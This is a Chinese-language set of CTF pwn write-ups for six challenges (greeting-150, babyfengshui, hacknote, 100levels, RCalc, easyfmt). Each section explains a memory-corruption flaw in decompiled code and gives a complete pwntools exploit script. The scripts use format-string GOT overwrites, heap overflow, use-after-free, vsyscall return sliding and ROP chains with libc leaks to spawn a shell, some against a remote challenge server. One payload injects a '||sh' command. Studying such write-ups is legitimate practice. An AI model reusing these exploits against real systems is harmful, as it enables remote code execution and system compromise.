#pwn进阶区

##greeting-150

这是个明显的字符串漏洞

return printf(s);

思路就是修改strlen函数为system,并且让函数循环执行,从而getshell

在程序末尾会执行fini函数,我们将其修改为start_addr

我们先输入aaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p来观察输入的字符串在第几个参数

由上图可知,只需对齐2字节,那么下一个参数就出现在第12个。

首先修改strlen_got的高字节(因为它比较小),那么修改的大小是
0x804 - (len(‘aa’) + len(‘Nice to meet you, ‘) + 4 * 4) = 2016

fini_got的高字节相同

然后分别是strlen_got的低字节和fini_got的低字节(因为system的低字节更小)

最后传入”/bin/sh”即可

##babyfengshui

有四个功能如下:

其中add_usr的功能:

  p_discri = malloc(size);    //用于存放discription堆
  memset(p_discri, 0, size);
  v3 = malloc(0x80u);         //用于存放name堆
  memset(v3, 0, 0x80u);
  *v3 = p_discri;             //将discription堆的地址存放到name堆的首地址
  *(&array + num) = v3;       //将name堆的地址存放到数组
  printf("name: ");
  fgets_addr_len(*(&array + num) + 4, 124);  //向discription堆中写入
  puts_text(num++);
  return v3;

所以add_usr一次会创建两个堆,并且会将name堆写入数组。

一下是Update a user description功能

v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (v3 + **(&array + num_next)) >= *(&array + num_next) - 4 )
{
  puts("my l33t defenses cannot be fooled, cya!");
  exit(1);
}
printf("text: ");
fgets_addr_len(**(&array + num_next), v3 + 1);

if ( (v3 + **(&array + num_next)) >= *(&array + num_next) - 4 )

这句当len >= name_addr - discri_addr 时报错。这里默认了创建堆是连续的,然而通过我们的构造,可以让name堆 和 discription堆相隔很远,从而产生溢出。

先申请3个usr,并在3号usr的discription中写入”/bin/sh\x00”

add_user(0x80,0x80,"AAAA")            #0
add_user(0x80,0x80,"BBBB")            #1
add_user(0x8,0x8,"/bin/sh\x00")       #2

之后dele_0号这是两个堆合并成为大小为0x100的chunk

delete_user(0)
add_user(0x100,0x19c,b'D'*(0x198) + p32(elf.got['free']))          #3

溢出1号usr的discription为elf.got[‘free’]

display_user(1)
p.recvuntil("description: ")
free_addr = u32(p.recv(4))
print("free_addr",hex(free_addr))

libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')

泄露地址,并寻找system_addr

printf("text: ");
fgets_addr_len(**(&array + num_next), v3 + 1);

利用Update a user description功能,向**(&array + num_next)及elf.got[‘free’]存储的内容写入system.之后free_usr_1即可get_shell

#!/usr/bin/python3
from pwn import *
from LibcSearcher import *
p=remote('111.200.241.244',51565)
elf=ELF('./babyfengshui')
#context.log_level = 'debug'
#p = process('./babyfengshui')
libc=ELF('./libc.so.6')
def add_user(size, length, text):
    p.sendlineafter("Action: ", '0')
    p.sendlineafter("description: ", str(size))
    p.sendlineafter("name: ", 'AAAA')
    p.sendlineafter("length: ", str(length))
    p.sendlineafter("text: ", text)

def delete_user(idx):
    p.sendlineafter("Action: ", '1')
    p.sendlineafter("index: ", str(idx))

def display_user(idx):
    p.sendlineafter("Action: ", '2')
    p.sendlineafter("index: ", str(idx))

def update_desc(idx, length, text):
    p.sendlineafter("Action: ", '3')
    p.sendlineafter("index: ", str(idx))
    p.sendlineafter("length: ", str(length))
    p.sendlineafter("text: ", text)

add_user(0x80,0x80,"AAAA")            #0
add_user(0x80,0x80,"BBBB")            #1
add_user(0x8,0x8,"/bin/sh\x00")       #2

delete_user(0)
add_user(0x100,0x19c,b'D'*(0x198) + p32(elf.got['free']))          #3

#gdb.attach(p)

display_user(1)
p.recvuntil("description: ")
free_addr = u32(p.recv(4))
print("free_addr",hex(free_addr))

libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')

update_desc(1, 0x4, p32(system_addr))

delete_user(2)

p.interactive()

##hacknote

一共就三个功能

int sub_8048956()
{
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  return printf("Your choice :");
}

Add:

  if ( dword_804A04C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !*(&ptr + i) )
      {
        *(&ptr + i) = malloc(8u);
        if ( !*(&ptr + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        **(&ptr + i) = puts_a1_4;
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = *(&ptr + i);
        *(v0 + 4) = malloc(size);
        if ( !*(*(&ptr + i) + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *(*(&ptr + i) + 1), size);
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }

Del: 漏洞就在这里,虽然free了chunk,但是并没有将指针归0 .

  printf("Index :");
  read(0, buf, 4u);
  index = atoi(buf);
  if ( index < 0 || index >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&ptr + index) )
  {
    free(*(*(&ptr + index) + 1));
    free(*(&ptr + index));
    puts("Success");
  }

Show:

  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&ptr + v1) )
    (**(&ptr + v1))(*(&ptr + v1));

chunk结构如图,malloc一个8字节chunk,在该chunk的首地址存储puts函数,并且它将会打印下一个chunk中的内容。

所以我们的思路就是,malloc两个该结构,并将其都free掉。然后再malloc一个同样为8字节的chunk.

由于之前free掉了数组中两个8字节的chunk,所以我们会直接取出这两个free_chunk,从而构成 了UAF漏洞。

我们只需要把puts_a1+4修改为system,把malloc_note修改为”/bin/sh\x00”然后在执行show函数,则可以get_shell

至于泄露地址,则可以通过show函数。直接向任意的note中写入一个函数地址,然后再show即可.

exp如下

#! /usr/bin/python3
#coding:utf8  
from pwn import *  
from LibcSearcher import *  

#sh = process('./hacknote')  
sh = remote('111.200.241.244',59975)
#sh = process('./hacknote')  
elf = ELF('./hacknote')  
puts_got = elf.got['puts']  
puts_plt = elf.plt['puts']  
show_addr = 0x804862B  

def create(size,content):  
   sh.sendlineafter('Your choice :','1')  
   sh.sendlineafter('Note size :',str(size))  
   sh.sendafter('Content :',content)  

def delete(index):  
   sh.sendlineafter('Your choice :','2')  
   sh.sendlineafter('Index :',str(index))  

def show(index):  
   sh.sendlineafter('Your choice :','3')  
   sh.sendlineafter('Index :',str(index))  

#创建二个堆  
create(0x20,'a'*0x20)  
create(0x20,'b'*0x20)  
delete(0)  
delete(1)  
payload = p32(0x804862B) + p32(puts_got)  
#这个8字节空间正好分配到了note0的结构体处  
create(0x8,payload)  

#泄露puts的加载地址  
show(0)  
#获得puts的加载地址  
puts_addr = u32(sh.recv(4))  


#libc = LibcSearcher('puts',puts_addr)  
#print hex(puts_addr)  
#libc_base = puts_addr - libc.dump('puts')  
#print 'libc base:',hex(libc_base)  
#system_addr = libc_base + libc.dump('system')  
#binsh_addr = libc_base + libc.dump('str_bin_sh') 



libc = ELF('libc_32.so.6') 
libc_base = puts_addr - libc.sym['puts'] 
print ('libc base:',hex(libc_base)) 
system_addr = libc_base + libc.sym['system'] 
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()


delete(2)  
payload = p32(system_addr) + b'||sh\x00'  
create(0x8,payload)  
# get shell  
show(0)  

sh.interactive() 

这个||sh是shell注入,因为按照原来的show的逻辑,是这样的

system(note[i]);   

而note[i]是一个结构体,前四字节是system的地址,接下来是||sh字符串,所以,传给system的字符串实际上时xxxx||sh,这是一种或表达式,相当于注入一样(||或操作)

##1000levevls

main函数如下

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  __int64 v4; // rdx
  __int64 v5; // rcx

  sub_DDC();
  logo();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = str_to_l();
      if ( v3 != 2 )
        break;
      Hint(a1, a2, v4, v5);
    }
    if ( v3 == 3 )
      break;
    if ( v3 == 1 )
    {
      go(a1, a2, v4, v5);
    }
    else
    {
      a1 = "Wrong input";
      puts("Wrong input");
    }
  }
  puts_(a1, a2, v4, v5);
  return 0LL;
}

查看Hint函数

int hint()
{
  char v1[264]; // [rsp+8h] [rbp-108h] BYREF

  if ( unk_20208C )
    sprintf(v1, "Hint: %p\n", &system);
  else
    strcpy(v1, "NO PWN NO FUN");
  return puts(v1);
}

.text:0000000000000D0A                 sub     rsp, 110h
.text:0000000000000D11                 mov     rax, cs:system_ptr
.text:0000000000000D18                 mov     [rbp+var_110], rax
.text:0000000000000D1F                 lea     rax, unk_20208C

发现这里把system的地址存放到了[rbp+var_110]

int go()
{
  __int64 v1; // [rsp+0h] [rbp-120h]
  int v2; // [rsp+8h] [rbp-118h]
  int v3; // [rsp+Ch] [rbp-114h]
  __int64 v4; // [rsp+10h] [rbp-110h]
  __int64 v5; // [rsp+10h] [rbp-110h]
  __int64 v6; // [rsp+18h] [rbp-108h]
  char v7[256]; // [rsp+20h] [rbp-100h] BYREF

  puts("How many levels?");
  v1 = str_to_l();
  if ( v1 > 0 )
    v4 = v1;
  else
    puts("Coward");
  puts("Any more?");
  v5 = v4 + str_to_l();
  if ( v5 > 0 )
  {
    if ( v5 <= 99 )
    {
      v6 = v5;
    }
    else
    {
      puts("You are being a real man.");
      v6 = 100LL;
    }
    puts("Let's go!'");
    v2 = time(0LL);
    if ( the_game(v6) )
    {
      v3 = time(0LL);
      sprintf(v7, "Great job! You finished %d levels in %d seconds\n", v6, (v3 - v2));
      puts(v7);
    }
    else
    {
      puts("You failed.");
    }
    exit(0);
  }
  return puts("Coward Coward Coward Coward Coward");
}

而在go函数中__int64 v4; // [rsp+10h] [rbp-110h]
并且go和hint由同一个函数调用,所以他们用于同样的rbp, 也就是说system的地址残留在了v4中

  if ( v1 > 0 )
    v4 = v1;

发现如果v1<0那么v4不会被清0 , 所以我们输入v1=0 。然后在输入one_gadget-system ,这样v5就存储了one_gadget的地址了

v5 = v4 + str_to_l();

因为go函数调用了game函数,所以game函数的栈开辟在go的上方。

07:0038│     0x7ffdf3653e60 ◂— 0x11400000000
pwndbg> 
08:0040│     0x7ffdf3653e68 ◂— 0xc00000017
09:0048│ rbp 0x7ffdf3653e70 —▸ 0x7ffdf3653fa0 —▸ 0x7ffdf3653fe0 —▸ 0x55ca23ab7fd0 ◂— push   r15
0a:0050│     0x7ffdf3653e78 —▸ 0x55ca23ab7c8a ◂— test   eax, eax
0b:0058│     0x7ffdf3653e80 ◂— 0xfffffffffffffeda
0c:0060│     0x7ffdf3653e88 ◂— 0x55ca6141b4cb
0d:0068│     0x7ffdf3653e90 —▸ 0x7f6dff55427a (do_system+1098) ◂— mov    rax, qword ptr [rip + 0x37ec37]

我们需要在rbp+4后的位置上一直pop_ret直到执行one_gadget为止。

然而,pop在这里也用不了,因为是随机地址,我们找不到。

然而,有一个例外的东西,它的地址是固定的。那就是vsyscall

Vsyscall用于系统调用,它的地址固定在0xffffffffff600000-0xffffffffff601000,vsyscall在内核中实现,无法用docker模拟。因此某些虚拟机上可能不成功。

可以利用的vsyscall地址如下

gettimeofday: 0xffffffffff600000

这里我们可以把vsyscall函数当成ret的gadget,从而实现调用one_gadget

exp如下

#! /usr/bin/python3
from pwn import *

io = process("./100levels")
libc = ELF("./libc.so")

one_gadget = 0x4526a
system = libc.sym['system']
io.recvuntil("Choice:\n")

io.send('2')
io.recvuntil("Choice:\n")
io.sendline('1')
io.recvuntil("How many levels?\n")
io.send('0')
io.recvuntil("Any more?\n")
io.send(str(one_gadget-system))



def cacu ():
   io.recvuntil("Question: ")
   num1 = int(io.recvuntil(" "))
   print("num1 = "+str(num1))
   io.recvuntil("* ")
   num2 = int(io.recvuntil(" "))
   print("num2 = "+str(num2))
   ans = num1 * num2
   print (io.recvuntil("Answer:"))
   io.sendline(str(ans))
   print("ans = "+str(ans))

for i in range(99):
   cacu()

gdb.attach(io)

print (io.recvuntil("Answer:"))
payload = b'a'*0x38 + p64(0xffffffffff600000)*3

io.send(payload)

io.interactive()

RCacl

分析代码

利用ida 动态调试分析程序运行逻辑:

首先申请了4个chunk。并且手动写了一个canary防护。在之后的每次函数调用的先set_canary 然后在该函数结束后 get_canary 并与其比较。

__int64 __fastcall save(__int64 a1)
{
  __int64 v1; // rsi
  __int64 v2; // rdx
  __int64 result; // rax

  v1 = *(ma_1 + 8);
  v2 = (*ma_1)++;
  result = a1;
  *(v1 + 8 * v2) = a1;
  return result;
}

可以看出,在save函数中利用基地址+偏移的方式对结果进行储存。即在 0x6020F8 之后存储计算结果。


set_canary,调用函数时设置canary

__int64 set_canary()
{
  __int64 v0; // rbx
  __int64 v1; // rsi
  __int64 v2; // rdx
  unsigned int ptr; // [rsp+Ch] [rbp-24h] BYREF
  __int64 v5; // [rsp+10h] [rbp-20h]
  FILE *stream; // [rsp+18h] [rbp-18h]

  if ( *ma_2 )
  {
    ptr = *(*(ma_2 + 8) + 8LL * *ma_2 - 8);
  }
  else
  {
    stream = fopen("/dev/urandom", "r");
    fread(&ptr, 1uLL, 4uLL, stream);
    fclose(stream);
  }
  srand(ptr);
  v5 = rand();
  v0 = v5 << 32;
  v5 = v0 | rand();
  v1 = *(ma_2 + 8);
  v2 = (*ma_2)++;
  *(v1 + 8 * v2) = v5;
  return v5;
}

get_canary,调用函数时调用canary并且进行比较

__int64 get_canary()
{
  return *(*(ma_2 + 8) + 8LL * (*ma_2)-- - 8);
}

从save函数可以看出 v1 + 8 * v2 的地址上存储了每次计算结果的值 //*(v1 + 8 * v2) = a1;

而每计算的次数没有限制,因此可以多次计算直至结果覆盖canary的储存地址

继续观察代码,发现输入name时没有限制长度,存在溢出漏洞,可以利用其构造rop链。通过泄露libc从而找到基地址用系统调用getshell

#! /usr/bin/python3
from pwn import *
from LibcSearcher import *
context.log_level='debug'
local=0
if local:
    sh=process('./RCalc')
    libc=ELF('libc.so.6_remote')
    libc_start_main_libc=libc.symbols['__libc_start_main']
    system_libc=libc.symbols['system']
    bin_sh_libc=libc.search(b"/bin/sh").__next__()
else:
    sh=remote('111.200.241.244','53565')

elf=ELF('./RCalc')
libc_start_main_got=elf.got['__libc_start_main']
printf_plt=elf.plt['printf']

pop_rdi_addr=0x401123
main_addr=0x401036

def welcome(name):
    sh.sendlineafter('Input your name pls: ',name)

def send_interger(int1,int2):
    sh.recvuntil('input 2 integer: ')
    sh.sendline(str(int1))
    sh.sendline(str(int2))

def save_result(flag):
    string='no'
    if flag:
        string='yes'
    sh.sendafter('Save the result? ',string)

def add(int1,int2,flag):
    sh.sendlineafter('Your choice:','1')
    send_interger(int1,int2)
    save_result(flag)

def sub(int1,int2,flag):
    sh.sendlineafter('Your choice:','2')
    send_interger(int1,int2)
    save_result(flag)

def mod(int1,int2,flag):
    sh.sendlineafter('Your choice:','3')
    send_interger(int1,int2)
    save_result(flag)

def mul(int1,int2,flag):
    sh.sendlineafter('Your choice:','4')
    send_interger(int1,int2)
    save_result(flag)

def exit():
    sh.sendlineafter('Your choice:','5')

def heapOverflow():
    for i in range(35):
        add(0,0,1)

padding=b'a'*0x108+p64(0)+p64(0xdeadbeef)
payload=padding+p64(pop_rdi_addr)+p64(libc_start_main_got)+p64(printf_plt)+p64(main_addr)
welcome(payload)
heapOverflow()
exit()

libc_start_main_addr=u64(sh.recv(6).ljust(8,b'\x00'))
if local:
    libc_base=libc_start_main_addr-libc_start_main_libc
    system_addr=system_libc+libc_base
    bin_sh_addr=bin_sh_libc+libc_base
else:
    libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
    libc_base=libc_start_main_addr-libc.dump('__libc_start_main')
    system_addr=libc_base+libc.dump('system')
    bin_sh_addr=libc_base+libc.dump('str_bin_sh')

payload=padding+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
welcome(payload)
heapOverflow()
exit()
sh.interactive()

easyfmt

观察代码

发现存在格式化字符串漏洞

进入checkin函数发现有一个随机的数字,需要通过爆破来通过

为了通过checkin,需要一个爆破脚本,不断发送1,如果错误就关闭连接重新循环,如果正确就break继续执行代码。

while True :
   io = process('./easyfmt')
   #io = remote('111.200.241.244',64639)
   io.sendlineafter('enter:','1')
   ret = io.recv()
   if ret.find(b'bye') < 0:
      break
   io.close

利用%p确定参数位置,可以发现输入的字符在第8个参数的位置

为了让程序不退出,我们把exit.got 修改成main中结束checkin的位置,这样可以反复利用格式化字符串漏洞,也不需要再爆破checkin了。

payload = b'%2434c%10$hn'         ###这里不可以用0x982代替2434,语法规则
payload = payload.ljust(16, b'a')
payload += p64(elf.got['exit'])
io.sendline(payload)

再次利用格式化字符串漏洞,利用%s 输出libc的地址

payload=b'%10$saaa'+p64(read_got)   ###
io.sendafter('slogan: ',payload)
io.recv(1)
read_addr=u64(io.recvuntil('aaa',drop = True).ljust(8,b'\x00'))
print("read-->"+hex(read_addr))

//利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。

比如这里用%p来获取栈上的值

//利用 %s 来获取变量所对应地址的内容,只不过有零截断。

这里用%p来获对应地址的值

得到libc的基地址,通过计算获取system的地址

base = puts_got - libc.sym['puts']
system = base + libc.sym['system']
print('system--->'+hex(system))

char1 = system&0xff
char2 = ((system&0xffffff)>>8)-char1  

payload = b'%'+str(char1).encode() + b'c%14$hhn' + b'%' + str(char2).encode() + b'c%15$hn'
payload = payload.ljust(32,b'a') + p64(printf_got) + p64(printf_got+1)
#gdb.attach(io)

io.sendafter('slogan: ',payload)
io.sendafter('slogan: ','/bin/sh\x00')

利用%p获取参数位置,输入字符在第10个参数的位置,所以printf_got在第14个参数的位置

因为system和printf只有最后3个字节不同,所以只需要修改最后6个数,利用%14$hhn修改倒数第一个字节的值,利用%15$hn修改倒数第二,三个字节的值

//我们可以利用 %hhn 向某个地址写入单字节,利用 %hn 向某个地址写入双字节。

#! /usr/bin/python3
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'

elf = ELF('./easyfmt')
libc = elf.libc

while True :
   io = process('./easyfmt')
   #io = remote('111.200.241.244',64639)
   io.sendlineafter('enter:','1')
   ret = io.recv()
   if ret.find(b'bye') < 0:
      break
   io.close
   #sleep(0.1)

#io.recvuntil('slogan: ')
#io.recv()

read_got=elf.got['read']
printf_got=elf.got['printf']

payload = b'%2434c%10$hn'         ###
payload = payload.ljust(16, b'a')
payload += p64(elf.got['exit'])
io.sendline(payload)

gdb.attach(io)
payload=b'%10$saaa'+p64(read_got) 
io.sendafter('slogan: ',payload)
io.recv(1)
read_addr=u64(io.recvuntil('aaa',drop = True).ljust(8,b'\x00'))
print("read-->"+hex(read_addr))


libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
print("system-->"+hex(system_addr))

char1=system_addr&0xff
payload=b'%'+str(char1).encode()+b'c%14$hhn' ###
char2=((system_addr&0xffffff)>>8)-char1
payload+=b'%'+str(char2).encode()+b'c%15$hn'
payload=payload.ljust(32,b'a')+p64(printf_got)+p64(printf_got+1)
io.sendafter('slogan: ',payload)
io.sendafter('slogan: ','/bin/sh\x00')

io.interactive()